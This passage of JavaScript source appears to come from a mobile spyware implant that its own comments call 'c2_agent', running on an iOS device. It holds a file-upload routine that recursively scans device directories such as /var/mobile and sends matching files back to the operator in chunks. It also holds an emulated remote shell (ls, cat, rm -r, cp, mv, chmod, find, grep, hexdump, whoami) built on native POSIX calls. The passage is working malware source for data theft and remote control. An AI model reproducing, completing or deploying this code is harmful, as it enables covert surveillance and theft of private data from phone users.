false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) {\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar s = \"\";\n\tfor (var i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);\n\treturn s;\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) {\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += _rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: \"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 ? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = 